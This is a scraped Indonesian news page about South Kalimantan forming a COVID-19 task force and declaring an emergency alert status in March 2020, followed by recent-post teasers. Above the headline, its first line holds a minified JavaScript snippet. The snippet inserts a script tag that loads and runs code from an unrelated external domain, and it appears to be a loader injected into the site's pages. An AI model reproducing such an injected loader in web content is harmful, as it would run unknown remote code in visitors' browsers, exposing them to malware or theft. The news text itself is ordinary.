(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tim Gugus Tugas Resmi Dibentuk, Kalsel Tetapkan Siaga Darurat Virus Corona!


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan (Kalsel) telah resmi membentuk Gugus Tugas Pencegahan, Pengendalian, dan Penaganan virus Corona (COVID-19). Hal itu sebagaimana hasil keputusan rapat pembahasan yang digelar di Kantor Sekretaris Daerah Provinsi Kalsel, Senin (16/3/2020) pagi.

Adapun struktur tim Gugus Tugas ini dikomandoi oleh Sekda Prov Kalsel Abdul Haris Makkie, Ketua Harian dijabat Kepala Pelaksana BPBD Prov Kalsel Wahyuddin, dan Sekretaris dipegang Kadinkes Provinsi Kalsel M Muslim yang juga sekaligus merangkap sebagai juru bicara. Tim Gugus Tugas ini terbagi menjadi 4 bidang dan memiliki tupoksinya masing-masing dalam tugas operasional.

Selain membetuk tim Gugus Tugas, ada berbagai keputusan yang diambil oleh Pemprov Kalsel dalam rapat bersama TNI, Polri, PT Angkasa Pura, Kantor Kesehatan Pelabuhan (KKP), dan SKPD Pemprov Kalsel. Salah satunya yakni menetapkan Provinsi Kalsel dalam status siaga darurat virus corona.

“Pada hari ini kita menetapkan bahwa Provinsi Kalsel status siaga darurat virus corona. Meski belum pada tahap tanggap daruruat, namun kita tetap waspada,” kata Sekda Prov Kalsel, Abdul Haris Makkie.

Pemprov Kalsel juga akan meningkatkan screaning cegah tangkal diberbagai pintu masuk Kalimantan Selatan, baik itu bandara, pelabuhan, dan terminal. Termasuk, upaya penyemprotan disinfektan di tempat yang perlu. “Karena berdasarkan diskusi kami, bahwa penyemprotan itu harus selektif. Sehingga apa yang kita lakukan betul-betul bermanfaat,” pungkas Haris Makkie.

Terkait langkah tersebut, informasi terkait corona pun kini satu pintu di tangan Provinsi Kalsel. Dalam hal ini, akan disampaikan oleh Kadinkes Kalsel M Muslim.

Tarkiat hal ini, rencana pihak RSUD Ulin Banjarmasin memberikan pernyataan terkait tiga pasien suspect corona atau COVID-19 yang sebelumnya masuk perawatan ruang isolasi pada Sabtu (16/3/2020) lalu, akhirnya batal. Dikonfirmasi terkait hal tersebut, petinggi RSUD Ulin enggan komentar, dan menyerahkan semua informasi terkait isu corona ke Dinas Kesehatan Provinsi Kalsel.

“Kami baru saja berkomunikasi dengan Direktur (Hj. Suciati) yang saat ini sedang rapat tingkat provinsi di mana dalam rapat ini, hasil keputusan bahwa informasi hanya satu jalur yaitu Dinas Kesehatan Provinsi Kalsel,” kata Wadir RSUD Ulin Banjarmasin dr. Mohamad Isa, Senin (16/3/2020) siang kepada puluhan jurnalis yang menunggu acara jumpa pers yang sedianya dilaksanakan siang tadi.

Dokter spesialis paru-paru ini berkilah, ia mendapatkan informasi terbaru ini beberapa saat menjelang press conference kepada awak media yang telah menunggu. Sehingga, ia memohon maaf lantaran tidak bisa melayani para awak media dalam berbagi informasi soal COVID-19. “Kami tidak bisa memberikan itu dan kami selalu komunikasikan dengan Dinas Kesehatan,” tambah Isa.

Bahkan, ketika ditanya soal nasib tiga pasien suspect COVID-19 yang baru-baru tadi ditangani oleh RS, Isa lagi-lagi tidak bisa berkomentar banyak. Lantas, Isa meminta awak media untuk mengkonfirmasinya ke Dinkes Provinsi Kalsel. “Untuk sementara saya tidak bisa memberikan (informasinya),” tukasnya.

Sebelumnya, tiga warga Kalimantan Selatan dirujuk ke RSUD Ulin Banjarmasin pada Sabtu (14/3/2020). Informasi didapat, diduga, ketiganya suspect corona atau COVID-19 usai pulang dari luar Kalsel, di mana dua di antaranya pulang dari ibadah umroh.

Mereka berada diisolasi guna proses pemeriksaan dan observasi. Seperti pengambilan sampel swab tenggorokan dan diobservasi di laboratorium. Sembari memulihkan kondisi kesehatannya.

Namun demikian, Suciati belum mengetahui pasti kapan hasil kesehtan tiga orang pasien suspec Covid-19 itu akan didapatkan. Ia mengatakan, masih menunggu konfirmasi dari dokter yang melakukan pemeriksaan. “Dua orang itu berasal dari Kabupaten Tanah Bumbu dan satu suspect Covid-19 dari Kota Banjarmasin. Rinciannya, dua laki-laki dan satu perempuan,” tambah Suciati.

Untuk pasien dari Banjarmasin, merupakan rujukan dari Rumah Sakit Suaka Insan Banjarmasin.

Terpisah, Kepala Dinkes Provinsi Kalsel M Muslim juga mengatakan, ketiga pasien suspect saat ini tengah ditangani. Tentunya sesuai dengan SOP yang ditetapkan.  “Sesuai kriterianya, datang dari daerah yang terjangkit atau ada gejala-gejala, maka sesegeranya kita tangani,” ucap Muslim.(Kanalkalimantan.com/rico)

 

Reporter : rico
Editor : Cell

 


Desy Arfianty

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

26 menit ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

12 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

13 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

14 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

14 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

15 jam ago

This website uses cookies.